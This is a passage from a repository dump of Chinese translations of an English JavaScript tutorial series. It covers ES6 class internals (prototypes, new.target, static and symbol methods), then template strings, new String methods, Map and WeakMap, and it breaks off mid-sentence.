`new` 关键字创建一个对象，JavaScript 将会：\n\n1. 设置这个对象的原型指向我们使用 `new` 调用的函数的 `.prototype` 属性；\n2. 设置这个对象的 `.constructor` 指向我们使用 `new` 调用到的构造函数。\n\n```js\nconst tootsie_roll = new Food('Tootsie Roll', 0, 26, 0);\n\nObject.getPrototypeOf(tootsie_roll) === Food.prototype; // true\ntootsie_roll.constructor === Food; // true\n```\n\n这就可以让我们搞出下面这样的黑魔法：\n\n    \"use strict\";\n\n    Food.prototype.cook = function cook () {\n        console.log(`${this.name} is cooking!`);\n    };\n\n    const dinner = new Food('Lamb Chops', 52, 8, 32);\n    dinner.cook(); // 'Lamb Chops are cooking!'\n\n### 使用 `Object.create` 显式设置原型\n\n最后我们可以使用 `Object.create` 方法手工设置对象的原型引用。\n\n    \"use strict\";\n\n    const foo = {\n        speak () {\n            console.log('Foo!');\n        }\n    };\n\n    const bar = Object.create(foo);\n\n    bar.speak(); // 'Foo!'\n    Object.getPrototypeOf(bar) === foo; // true\n\n还记得使用 `new` 调用函数的时候，JavaScript 在幕后干了哪四件事儿吗？`Object.create` 就干了这三件事儿：\n\n1. 创建一个新对象；\n2. 设置它的原型引用；\n3. 返回这个新对象。\n\n[你可以自己去看下 MDN 上写的那个 polyfill。](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create)\n（译者注：polyfill 就是给老代码实现现有新功能的补丁代码，这里就是指老版本 JS 没有 `Object.create` 函数，MDN 上有手工撸的一个替代方案）\n\n### 模拟 `class` 行为\n\n直接使用原型来模拟面向类的行为需要一些技巧。\n\n    \"use strict\";\n\n    function Food (name, protein, carbs, fat) {\n        this.name    = name;\n        this.protein = protein;\n        this.carbs   = carbs;\n        this.fat     = fat;\n    }\n\n    Food.prototype.toString = function () {\n        return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F`;\n    };\n\n    function FatFreeFood (name, protein, carbs) {\n        Food.call(this, name, protein, carbs, 0);\n    }\n\n    // 设置 \"subclass\" 关系\n    // =====================\n    // LINE A :: 使用 Object.create 手动设置 FatFreeFood's 『父类』.\n    FatFreeFood.prototype = Object.create(Food.prototype);\n\n    // LINE B :: 手工重置 constructor 的引用\n    Object.defineProperty(FatFreeFood.constructor, \"constructor\", {\n        enumerable : false,\n        writeable  : true,\n        value      : FatFreeFood\n    });\n\n在 Line A，我们需要设置 `FatFreeFood.prototype` 使之等于一个新对象，这个新对象的原型引用是 `Food.prototype`。如果没这么搞，我们的子类就不能访问『超类』的方法。\n\n不幸的是，这个导致了相当诡异的结果：`FatFreeFood.constructor` 是 [Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function)，而不是 `FatFreeFood`。为了保证一切正常，我们需要在 Line B 手工设置 `FatFreeFood.constructor`。\n\n让开发者从使用原型对类行为笨拙的模仿中脱离苦海是 `class` 关键字的产生动机之一。它确实也提供了避免原型语法常见陷阱的解决方案。\n\n现在我们已经探究了太多关于 JavaScript 的原型机制，你应该更容易理解 class 关键字让一切变得多么简单了吧！\n\n## 深入探究下方法\n\n现在我们已了解到 JavaScript 原型系统的必要性，我们将深入探究一下类支持的三种方法，以及一种特殊情况，以结束本文的讨论。\n\n* 构造器；\n* 静态方法；\n* 原型方法；\n* 一种**原型方法**的特殊情况：『标记方法』。\n\n并非我提出的这三组方法，这要归功于 Rauschmayer 博士在 [探索 ES6](http://exploringjs.com/es6/ch_classes.html) 一书中的定义。\n\n### 类构造器\n\n一个类的 `constructor` 方法用于关注我们的初始化逻辑，`constructor` 方法有以下几个特殊点：\n\n1. 只有在构造方法里，我们才可以调用父类的构造器；\n2. 它在背后处理了所有设置原型链的工作；\n3. 它被用作类的定义。\n\n第二点就是在 JavaScript 中使用 `class` 的一个主要好处，我们来引用一下《探索 ES6》书里的 15.2.3.1 的标题：\n\n> **子类的原型就是超类**\n\n正如我们所见，手工设置非常繁琐且容易出错。如果我们使用 `class` 关键字，JavaScript 在内部会负责搞定这些设置，这一点也是使用 `class` 的优势。\n\n第三点有点意思。在 JavaScript 中类仅仅是个函数——它等同于与类中的 `constructor` 方法。\n\n    \"use strict\";\n\n    class Food {\n        // 和之前一样的类定义……\n    }\n\n    typeof Food; // 'function'\n\n与一般把函数作为构造器的方式不同，我们不能不用 `new` 关键字而直接调用类构造器：\n\n`const burrito = Food('Heaven', 100, 100, 25); // 类型错误`\n\n这就引发了另一个问题：当我们**不用** `new` 调用函数构造器的时候发生了什么？\n\n简短的回答是：对于任何没有显式返回的函数来说都是返回 `undefined`。我们只需要相信用我们构造函数的用户都会使用构造调用。这就是社区为何约定构造方法的首字母大写：提醒使用者要用 `new` 来调用。\n\n    \"use strict\";\n\n    function Food (name, protein, carbs, fat) {\n        this.name    = name;\n        this.protein = protein;\n        this.carbs   = carbs;\n        this.fat     = fat;\n    }\n\n    const fish = Food('Halibut', 26, 0, 2); // D'oh . . .\n    console.log(fish); // 'undefined'\n\n长一点的回答是：返回 `undefined`，除非你手工检测是否使用被 `new` 调用，然后进行自己的处理。\n\nES2015 引入了一个属性使得这种检测变得简单: `[new.target]`([https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target)).\n\n`new.target` 是一个定义在所有使用 `new` 调用的函数上的属性，包括类构造器。 当我们使用 `new` 关键字调用函数时，函数体内的 `new.target` 的值就是这个函数本身。如果函数没有被 `new` 调用，这个值就是 `undefined`。\n\n    \"use strict\";\n\n    // 强行构造调用\n    function Food (name, protein, carbs, fat) {\n        // 如果用户忘了手工调用一下\n        if (!new.target)\n            return new Food(name, protein, carbs, fat);\n\n        this.name    = name;\n        this.protein = protein;\n        this.carbs   = carbs;\n        this.fat     = fat;\n    }\n\n    const fish = Food('Halibut', 26, 0, 2); // 糟了，不过没关系！\n    fish; // 'Food {name: \"Halibut\", protein: 20, carbs: 5, fat: 0}'\n\n在 ES5 里用起来也还行：\n\n    \"use strict\";\n\n    function Food (name, protein, carbs, fat) {\n\n        if (!(this instanceof Food))\n            return new Food(name, protein, carbs, fat);\n\n        this.name    = name;\n        this.protein = protein;\n        this.carbs   = carbs;\n        this.fat     = fat;\n    }\n\n[MDN 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target)讲述了 `new.target` 的更多细节，而且给有兴趣者[配上了 ES2015 规范作为参考](https://tc39.github.io/ecma262/#sec-built-in-function-objects)。规范里有关 [[Construct]] 的描述很有启发性。\n\n### 静态方法\n\n**静态方法**是构造方法自己的方法，**不能**被类的实例化对象调用。我们使用 `static` 关键字定义静态方法。\n\n    \"use strict\";\n\n    class Food {\n         // 和之前一样……\n\n         // 添加静态方法\n         static describe () {\n             console.log('\"Food\" 是一种存储了营养信息的数据类型');\n         }\n    }\n\n    Food.describe(); // '\"Food\" 是一种存储了营养信息的数据类型'\n\n静态方法与老式构造函数中直接属性赋值相似：\n\n    \"use strict\";\n\n    function Food (name, protein, carbs, fat) {\n        Food.count += 1;\n\n        this.name    = name;\n        this.protein = protein;\n        this.carbs   = carbs;\n        this.fat     = fat;\n    }\n\n    Food.count = 0;\n    Food.describe = function count () {\n        console.log(`你创建了 ${Food.count} 个 food`);\n    };\n\n    const dummy = new Food();\n    Food.describe(); // \"你创建了 1 个 food\"\n\n### 原型方法\n\n任何不是构造方法和静态方法的方法都是**原型方法**。之所以叫原型方法，是因为我们之前通过给构造函数的原型上附加方法的方式来实现这一功能。\n\n    \"use strict\";\n\n    // 使用 ES6：\n    class Food {\n\n        constructor (name, protein, carbs, fat) {\n            this.name = name;\n            this.protein = protein;\n            this.carbs = carbs;\n            this.fat = fat;\n        }\n\n        toString () {  \n            return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F`;\n        }\n\n        print () {  \n            console.log( this.toString() );  \n        }\n    }\n\n    // 在 ES5 里：\n    function Food  (name, protein, carbs, fat) {\n        this.name = name;\n        this.protein = protein;\n        this.carbs = carbs;\n        this.fat = fat;\n    }\n\n    // 『原型方法』的命名大概来自我们之前通过给构造函数的原型上附加方法的方式来实现这一功能。\n    Food.prototype.toString = function toString () {\n        return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F`;\n    };\n\n    Food.prototype.print = function print () {\n        console.log( this.toString() );\n    };\n\n应该说明，在方法定义时完全可以使用生成器。\n\n    \"use strict\";\n\n    class Range {\n\n        constructor(from, to) {\n            this.from = from;\n            this.to   = to;\n        }\n\n        * generate () {\n            let counter = this.from,\n                to      = this.to;\n\n            while (counter < to) {\n                if (counter == to)\n                    return counter++;\n                else\n                    yield counter++;\n            }\n        }\n    }\n\n    const range = new Range(0, 3);\n    const gen = range.generate();\n    for (let val of range.generate()) {\n        console.log(`Generator 的值是 ${ val }. `);\n        //  Prints:\n        //    Generator 的值是 0.\n        //    Generator 的值是 1.\n        //    Generator 的值是 2.\n    }\n\n### 标志方法\n\n最后我们说说**标志方法**。这是一些名为 `Symbol` 值的方法，当我们在自定义对象中使用内置构造器时，JavaScript 引擎可以识别并使用这些方法。\n\n[MDN 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)提供了一个 Symbol 是什么的简要概览：\n\n> Symbol 是一个唯一且不变的数据类型，可以作为一个对象的属性标示符。\n\n创建一个新的 symbol，会给我们提供一个被认为是程序里的唯一标识的值。这一点对于命名对象的属性十分有用：我们可以确保不会不小心覆盖任何属性。使用 Symbol 做键值也不是无数的，所以他们很大程度上对外界是不可见的（也不完全是，可以通过 [Reflect.ownKeys](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys) 获得）\n\n    \"use strict\";\n\n    const secureObject = {\n        // 这个键可以看作是唯一的\n        [new Symbol(\"name\")] : 'Dr. Secure A. F.'\n    };\n\n    console.log( Object.getKeys(superSecureObject) ); // [] -- 标志属性不太好获取    console.log( Reflect.ownKeys(secureObject) ); // [Symbol(\"name\")] -- 但也不是完全隐藏的\n\n对我们来讲更有意思的是，这给我们提供了一种方式来告诉 JavaScript 引擎使用特定方法来达到特定的目的。\n\n所谓的『[众所周知的 Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)』是一些特定对象的键，当你在定义对象中使用时他们时，JavaScript 引擎会触发一些特定方法。\n\n这对于 JavaScript 来说有点怪异，我们还是看个例子吧：\n\n    \"use strict\";\n\n    // 继承 Array 可以让我们直观的使用 'length'\n    // 同时可以让我们访问到内置方法，如\n    // map、filter、reduce、push、pop 等\n    class FoodSet extends Array {\n\n        // foods 把传递的任意参数收集为一个数组\n        // 参见：https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator\n        constructor(...foods) {\n            super();\n            this.foods = [];\n            foods.forEach((food) => this.foods.push(food))\n        }\n\n         // 自定义迭代器行为，请注意，这不是多么好用的迭代器，但是个不错的例子\n         // 键名前必须写星号\n         * [Symbol.iterator] () {\n            let position = 0;\n            while (position < this.foods.length) {\n              if (position === this.foods.length) {\n                  return \"Done!\"\n              } else {\n                  yield `${this.foods[ position++ ]} is the food item at position ${position}`;\n              }\n             }\n         }\n\n         // 当我们的用户使用内置的数组方法，返回一个数组类型对象\n         // 而不是 FoodSet 类型的。这使得我们的 FoodSet 可以被一些\n         // 期望操作数组的代码操作\n         static get [Symbol.species] () {\n             return Array;\n         }\n    }\n\n    const foodset = new FoodSet(new Food('Fish', 26, 0, 16), new Food('Hamburger', 26, 48, 24));\n\n    // 当我们使用 for ... of 操作 FoodSet 时，JavaScript 将会使用\n    // 我们之前用 [Symbol.iterator] 做键值的方法\n    for (let food of foodset) {\n        // 打印全部 food\n        console.log( food );\n    }\n\n    // 当我们执行数组的 `filter` 方法时，JavaScript 创建并返回一个新对象\n    // 我们在什么对象上执行 `filter` 方法，新对象就使用这个对象作为默认构造器来创建\n    // 然而大部分代码都希望 filter 返回一个数组，于是我们通过重写 [Symbol.species]\n    // 的方式告诉 JavaScript 使用数组的构造器\n    const healthy_foods = foodset.filter((food) => food.name !== 'Hamburger');\n\n    console.log( healthy_foods instanceof FoodSet ); //\n    console.log( healthy_foods instanceof Array );\n\n当你使用 `for...of` 遍历一个对象时，JavaScript 将会尝试执行对象的**迭代器**方法，这一方法就是该对象 `Symbol.iterator` 属性上关联的方法。如果我们提供了自己的方法定义，JavaScript 就会使用我们自定义的。如果没有自己制定的话，如果有默认的实现就用默认的，没有的话就不执行。\n\n`Symbo.species` 更奇异了。在自定义的类中，默认的 `Symbol.species` 函数就是类的构造函数。当我们的子类有内置的集合（例如 `Array` 和 `Set`）时，我们通常希望在使用父类的实例时也能使用子类。\n\n通过方法返回父类的实例**而不是**派生类的实例，使我们更能确保我们子类在大多数代码里的可用性。而 `Symbol.species` 可以实现这一功能。\n\n如果不怎么需要这个功能就别费力去搞了。Symbol 的这种用法——或者说有关 Symbol 的全部用法——都还比较罕见。这些例子只是为了演示：\n\n1. 我们**可以**在自定义类中使用 JavaScript 内置的特定构造器；\n2. 用两个普通的例子展示了怎么实现这一点。\n\n\n## 结论\n\nES2015 的 `class` 关键字**没有**带给我们 Java 里或是 SmallTalk 里那种『真正的类』。宁可说它只是提供了一种更加方便的语法来创建通过原型关联的对象，本质上没有什么新东西。\n\n在我们的论述中我基本涵盖了 JavaScript 的原型机制，但还需要说一点：看一下 Kyle Simpson 的 [this 与对象原型](https://github.com/getify/You-Dont-Know-JS/tree/master/this%20%26%20object%20prototypes)一文可以对上面所述的进行一次全面的回顾，它的[附录 A](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/apA.md) 也与本文密切相关。\n\n如果想了解 ES2015 类的有关细节，可以去看 Rauschmayer 博士的[探索 ES6：类](http://exploringjs.com/es6/ch_classes.html)。这正是我写本文的灵感来源。\n\n最后如果你有什么问题，可以给我评论或者 [Twitter](https://twitter.com/PelekeS) 上艾特我。我会尽我所能回答每个人的问题。\n\n你对 `class` 的感受是什么呢？喜欢、讨厌，还是毫无感觉？每个人都有自己的观点——在下面说出你的观点吧！\n"
  },
  {
    "path": "TODO/better-javascript-with-es6-pt-iii-cool-collections-slicker-strings.md",
    "content": ">* 原文链接 : [Better JavaScript with ES6, Pt. III: Cool Collections & Slicker Strings](https://scotch.io/tutorials/better-javascript-with-es6-pt-iii-cool-collections-slicker-strings)\n* 原文作者 : [Peleke](https://github.com/Peleke)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [godofchina](https://github.com/godofchina)\n* 校对者: [Jack-Kingdom](https://github.com/Jack-Kingdom)， [malcolmyu](https://github.com/malcolmyu)\n\n# 使用 ES6 写更好的 JavaScript part III：好用的集合和反引号\n\n## 简介\n\nES2015 发生了一些重大变革，像 [promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) 和 [generators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators). 但并非新标准的一切都高不可攀。 -- 相当一部分新特性可以快速上手。\n\n在这篇文章里，我们来看下新特性带来的好处:\n\n*   新的集合: `map`，`weakmap`，`set`， `weakset`\n*   大部分的 [new `String` methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla#Additions_to_the_String_object)\n*   模板字符串。\n\n我们开始这个系列的最后一章吧。\n\n_标注: 这是 the Better JavaScript 系列的第三章。 前两章在这儿:_\n\n*   [Better JavaScript with ES6, Part 1: Popular Features](http://gold.xitu.io/entry/5736e4f41532bc006545106e)\n*   [Better JavaScript with ES6, Part 2: A Deep Dive into Classes](http://gold.xitu.io/entry/573969b91ea4930060f3e31a)\n\n## 模板字符串\n\n**模板字符串** 解决了三个痛点，允许你做如下操作:\n\n1.  定义在字符串_内部的_表达式，称为 _字符串插值_。\n2.  写多行字符串无须用换行符 (`\\n`) 拼接。\n3.  使用 \"raw\" 字符串 -- 在反斜杠内的字符串不会被转义，视为常量。\n\n    \"use strict\";\n\n    /* 三个模板字符串的例子: \n      * 字符串插值，多行字符串，raw 字符串。\n      * ================================= */\n\n    // ==================================\n    // 1\\. 字符串插值 :: 解析任何一个字符串中的表达式。\n    console.log(`1 + 1 = ${1 + 1}`);\n\n    // ==================================\n    // 2\\. 多行字符串 :: 这样写:\n    let childe_roland = \n    `I saw them and I knew them all. And yet\n    Dauntless the slug-horn to my lips I set,\n    And blew “Childe Roland to the Dark Tower came.”`\n\n    // . . . 代替下面的写法:\n    child_roland = \n    'I saw them and I knew them all. And yet\\n' +\n    'Dauntless the slug-horn to my lips I set,\\n' +\n    'And blew “Childe Roland to the Dark Tower came.”';\n\n    // ==================================\n    // 3\\. raw 字符串 :: 在字符串前加 raw 前缀，javascript 会忽略转义字符。\n    // 依然会解析包在 ${} 的表达式\n    const unescaped = String.raw`This ${string()} doesn't contain a newline!\\n`\n\n    function string () { return \"string\"; }\n\n    console.log(unescaped); // 'This string doesn't contain a newline!\\n' -- 注意 \\n 会被原样输出\n\n    // 你可以像 React 使用 JSX 一样，用模板字符串创建 HTML 模板\n    const template = \n    `\n    <div class=\"${getClass()}\">\n      <h1>Example</h1>\n        <p>I'm a pure JS & HTML template!</p>\n    </div>\n    `\n\n    function getClass () {\n        // Check application state, calculate a class based on that state\n        return \"some-stateful-class\";\n    }\n\n    console.log(template); // 这样使用略显笨，自己试试吧！\n\n    // 另一个常用的例子是打印变量名:\n    const user = { name : 'Joe' };\n\n    console.log(\"User's name is \" + user.name + \".\"); // 有点冗长\n    console.log(`User's name is ${user.name}.`); // 这样稍好一些\n\n1.  使用字符串插值，用反引号代替引号包裹字符串，并把我们想要的表达式嵌入在${}中。\n2.  对于多行字符串，只需要把你要写的字符串包裹在反引号里，在要换行的地方直接换行。 JavaScript 会在换行处插入新行。\n3.  使用原生字符串，在模板字符串前加前缀`String.raw`，仍然使用反引号包裹字符串。\n\n模板字符串或许只不过是一种语法糖 . . . 但它比语法糖略胜一筹。\n\n## 新的字符串方法\n\nES2015 也给 `String` 新增了一些方法。他们主要归为两类:\n\n1.  通用的便捷方法\n2.  扩充 Unicode 支持的方法。\n\n在本文里我们只讲第一类，同时 unicode 特定方法也有相当好的用例 。如果你感兴趣的话，这是地址 [在 MDN 的文档里，有一个关于字符串新方法的完整列表](https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla#Additions_to_the_String_object)。\n\n## startsWith & endsWith\n\n对新手而言，我们有 [String.prototype.startsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith)。 它对任何字符串都有效，它需要两个参数:\n\n1.  一个是 _search string_ 还有\n2.  整形的位置参数 _n_。这是可选的。\n\n`String.prototype.startsWith` 方法会检查以 _nth_ 位起的字符串是否以 _search string_ 开始。如果没有位置参数，则默认从头开始。\n\n如果字符串以要搜索的字符串开头返回 `true`，否则返回 `false`。\n\n    \"use strict\";\n\n    const contrived_example = \"This is one impressively contrived example!\";\n\n    // 这个字符串是以 \"This is one\" 开头吗?\n    console.log(contrived_example.startsWith(\"This is one\")); // true\n\n    // 这个字符串的第四个字符以 \"is\" 开头?\n    console.log(contrived_example.startsWith(\"is\", 4)); // false\n\n    // 这个字符串的第五个字符以 \"is\" 开始?\n    console.log(contrived_example.startsWith(\"is\", 5)); // true\n\n## endsWith\n\n[String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith) 和startswith相似: 它也需要两个参数：一个是要搜索的字符串，一个是位置。\n\n然而 `String.prototype.endsWith` 位置参数会告诉函数要搜索的字符串在原始字符串中被当做结尾处理。\n\n换句话说，它会切掉 _nth_ 后的所有字符串，并检查是否以要搜索的字符结尾。\n\n    \"use strict\";\n\n    const contrived_example = \"This is one impressively contrived example!\";\n\n    console.log(contrived_example.endsWith(\"contrived example!\")); // true\n\n    console.log(contrived_example.slice(0, 11)); // \"This is one\"\n    console.log(contrived_example.endsWith(\"one\", 11)); // true\n\n    // 通常情况下，传一个位置参数向下面这样:\n    function substringEndsWith (string, search_string, position) {\n        // Chop off the end of the string\n        const substring = string.slice(0, position);\n\n        // 检查被截取的字符串是否已 search_string 结尾\n        return substring.endsWith(search_string);\n    }\n\n## includes\n\nES2015 也添加了 [String.prototype.includes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes)。 你需要用字符串调用它，并且要传递一个搜索项。如果字符串包含搜索项会返回 `true`，反之返回 `false`。\n\n    \"use strict\";\n\n    const contrived_example = \"This is one impressively contrived example!\";\n\n    // 这个字符串是否包含单词 impressively ?\n    contrived_example.includes(\"impressively\"); // true\n\nES2015之前，我们只能这样:\n\n    \"use strict\";\n    contrived_example.indexOf(\"impressively\") !== -1 // true\n\n不算太坏。但是，`String.prototype.includes` _是_ 一个改善，它屏蔽了任意整数返回值为 true 的漏洞。\n\n## repeat\n\n还有 [String.prototype.repeat](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)。可以对任意字符串使用，像 `includes` 一样，它会或多或少地完成函数名指示的工作。\n\n它只需要一个参数: 一个整型的 _count_。使用案例说明一切，上代码:\n\n    const na = \"na\";\n\n    console.log(na.repeat(5) + \", Batman!\"); // 'nanananana, Batman!'\n\n## raw\n\n最后，我们有 [String.raw](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw)，我们在上面简单介绍过。\n\n一个模板字符串以 `String.raw` 为前缀，它将不会在字符串中转义:\n\n    /* 单右斜线要转义，我们需要双右斜线才能打印一个右斜线，\\n 在普通字符串里会被解析为换行\n      *   */\n    console.log('This string \\\\ has fewer \\\\ backslashes \\\\ and \\n breaks the line.');\n\n    // 不想这样写的话用 raw 字符串\n    String.raw`This string \\\\ has too many \\\\ backslashes \\\\ and \\n doesn't break the line.`\n\n## Unicode 方法\n\n虽然我们不涉及剩余的 string 方法，但是如果我不告诉你去这个主题的必读部分就会显得我疏忽。 \n*   Dr Rauschmayer 对于 [Unicode in JavaScript](http://speakingjs.com/es5/ch24.html) 的介绍\n*   他关于 [ES2015's Unicode Support in Exploring ES6](http://exploringjs.com/es6/ch_unicode.html#sec_escape-sequences) 和\n*   [The Absolute Minimum Every Software Developer Needs to Know About Unicode](http://www.joelonsoftware.com/articles/Unicode.html) 的讨论。\n\n无论如何我不得不跳过它的最后一部分。虽然有些老但是还是有优点的。\n\n这里是文档中缺失的字符串方法，这样你会知道缺哪些东西了。\n\n*   [String.fromCodePoint](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCodePoint) & [String.prototype.codePointAt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt);\n*   [String.prototype.normalize](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/normalize); 和\n*   [Unicode point escapes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Unicode_code_point_escapes).\n\n## 集合\n\nES2015 新增了一些集合类型:\n\n1.  [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) 和 [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)\n2.  [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) 和 [WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)。\n\n合适的 Map 和 Set 类型十分方便使用，还有弱变量是一个令人兴奋的改动，虽然它对Javascript来说像舶来品一样。\n\n## Map\n\n_map_ 就是简单的键值对。最简单的理解方式就是和 object 类似，一个键对应一个值。\n\n    \"use strict\";\n\n    // 我们可以把 foo 当键，bar 当值\n    const obj = { foo : 'bar' };\n\n    // 对象键为 foo 的值为 bar\n    obj.foo === 'bar'; // true\n\n新的 Map 类型在概念上是相似的，但是可以使用任意的数据类型作为键 -- 不止 strings 和 symbols -- 还有除了 [pitfalls associated with trying to use an objects a map](http://www.2ality.com/2012/01/objects-as-maps.html) 的一些东西。\n\n下面的片段例举了 Map 的 API.\n\n    \"use strict\";\n\n    // 构造器\n    let scotch_inventory = new Map();\n\n    // BASIC API METHODS\n    // Map.prototype.set (K, V) :: 创建一个键 K，并设置它的值为 V。\n    scotch_inventory.set('Lagavulin 18', 2);\n    scotch_inventory.set('The Dalmore', 1);\n\n    // 你可以创建一个 map 里面包含一个有两个元素的数组\n    scotch_inventory = new Map([['Lagavulin 18', 2], ['The Dalmore', 1]]);\n\n    // 所有的 map 都有 size 属性，这个属性会告诉你 map 里有多少个键值对。\n    // 用 Map 或 Set 的时候，一定要使用 size ，不能使用 length\n    console.log(scotch_inventory.size); // 2\n\n    // Map.prototype.get(K) :: 返回键相关的值。如果键不存在返回 undefined\n    console.log(scotch_inventory.get('The Dalmore')); // 1\n    console.log(scotch_inventory.get('Glenfiddich 18')); // undefined\n\n    // Map.prototype.has(K) :: 如果 map 里包含键 K 返回true，否则返回 false\n    console.log(scotch_inventory.has('The Dalmore')); // true\n    console.log(scotch_inventory.has('Glenfiddich 18')); // false\n\n    // Map.prototype.delete(K) :: 从 map 里删除键 K。成功返回true，不存在返回 false\n    console.log(scotch_inventory.delete('The Dalmore')); // true -- breaks my heart\n\n    // Map.prototype.clear() :: 清楚 map 中的所有键值对\n    scotch_inventory.clear();\n    console.log( scotch_inventory ); // Map {} -- long night\n\n    // 遍历方法\n    // Map 提供了多种方法遍历键值。 \n    //  重置值，继续探索\n    scotch_inventory.set('Lagavulin 18', 1);\n    scotch_inventory.set('Glenfiddich 18', 1);\n    \n    /* Map.prototype.forEach(callback[, thisArg]) :: 对 map 里的每个键值对执行一个回调函数 \n      *   你可以在回调函数内部设置 'this' 的值，通过传递一个 thisArg 参数，那是可选的而且没有太大必要那样做\n      *   最后，注意回调函数已经被传了键和值 */\n    scotch_inventory.forEach(function (quantity, scotch) {\n        console.log(`Excuse me while I sip this ${scotch}.`);\n    });\n\n    // Map.prototype.keys() :: 返回一个 map 中的所有键\n    const scotch_names = scotch_inventory.keys();\n    for (let name of scotch_names) {\n        console.log(`We've got ${name} in the cellar.`);\n    }\n\n    // Map.prototype.values() :: 返回 map 中的所有值\n    const quantities = scotch_inventory.values();\n    for (let quantity of quantities) {\n        console.log(`I just drank ${quantity} of . . . Uh . . . I forget`);\n    }\n\n    // Map.prototype.entries() :: 返回 map 的所有键值对，提供一个包含两个元素的数组 \n    //   以后会经常看到 map 里的键值对和 \"entries\" 关联 \n    const entries = scotch_inventory.entries();\n    for (let entry of entries) {\n        console.log(`I remember! I drank ${entry[1]} bottle of ${entry[0]}!`);\n    }\n\n但是 Object 在保存键值对的时候仍然有用。 如果符合下面的全部条件，你可能还是想用 Object:\n\n1.  当你写代码的时候，你知道你的键值对。\n2.  你知道你可能不会去增加或删除你的键值对。\n3.  你使用的键全都是 string 或 symbol。\n\n另一方面，如果符合以下_任意_条件，你可能会想使用一个 map。\n\n1.  你需要遍历整个map -- 然而这对 object 来说是难以置信的.\n2.  当你写代码的时候不需要知道键的名字或数量。\n3.  你需要复杂的键，像 Object 或 别的 Map (!).\n\n像遍历一个 map 一样遍历一个 object 是可行的，但奇妙的是 -- 还会有一些坑潜伏在暗处。 Map 更容易使用，并且增加了一些可集成的优势。然而 object 是以随机顺序遍历的，**map 是以插入的顺序遍历的**。\n\n添加随意动态键名的键值对给一个 object 是_可行的_。但奇妙的是: 比如说如果你曾经遍历过一个伪 map ，你需要记住手动更新条目数。\n\n最后一条，如果你要设置的键名不是 string 或 symbol，你除了选择 Map 别无选择。\n\n上面的这些只是一些指导性的意见，并不是最好的规则。\n\n## WeakMap\n\n你可能听说过一个特别棒的特性 [垃圾回收器](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science))，它会定期地检查不再使用的对象并清除。\n\n[To quote Dr Rauschmayer](http://www.2ality.com/2015/01/es6-maps-sets.html):\n\n> WeakMap 不会阻止它的键值被垃圾回收。那意味着你可以把数据和对象关联起来不用担心内存泄漏。\n\n换句换说，就是你的程序丢掉了 WeakMap _键_ 的所有外部引用，他能自动垃圾回收他们的值。\n\n尽管大大简化了用例，考虑到 SPA(单页面应用) 就是用来展示用户希望展示的东西，像一些物品描述和一张图片，我们可以理解为 API 返回的 JSON。\n\n理论上来说我们可以通过缓存响应结果来减少请求服务器的次数。我们可以这样用 Map :\n\n    \"use strict\";\n\n    const cache = new Map();\n\n    function put (element, result) {\n        cache.set(element, result);\n    }\n\n    function retrieve (element) {\n        return cache.get(element);\n    }\n\n. . . 这是行得通的，但是有内存泄漏的危险。\n\n因为这是一个 SPA，用户或许想离开这个视图，这样的话我们的 \"视图\" object 就会失效，会被垃圾回收。\n\n不幸的是，如果你使用的是正常的 Map ,当这些 object 不使用时，你必须自行清除。\n\n使用 WeakMap 替代就可以解决上面的问题:\n\n    \"use strict\";\n\n    const cache = new WeakMap(); // 不会再有内存泄露了\n\n    // 剩下的都一样\n\n这样当应用失去不需要的元素的引用时，垃圾回收系统可以自动重用那些元素。\n\nWeakMap 的API 和Map 相似，但有如下几点不同:\n\n1.  在 WeakMap 里你可以使用 object 作为键。 这意味着不能以 String 和 Symbol 做键。\n2.  WeakMap 只有 `set`，`get`，`has`，和 `delete` 方法 -- 那意味着 **你不能遍历 weak map**.\n3.  WeakMaps 没有 `size` 属性。\n\n不能遍历或检查 WeakMap 的长度的原因是，在遍历过程中可能会遇到垃圾回收系统的运行: 这一瞬间是满的，下一秒就没了。\n\n这种不可预测的行为需要谨慎对待，TC39(ECMA第39届技术委员会) 曾试图避免禁止 WeakMap 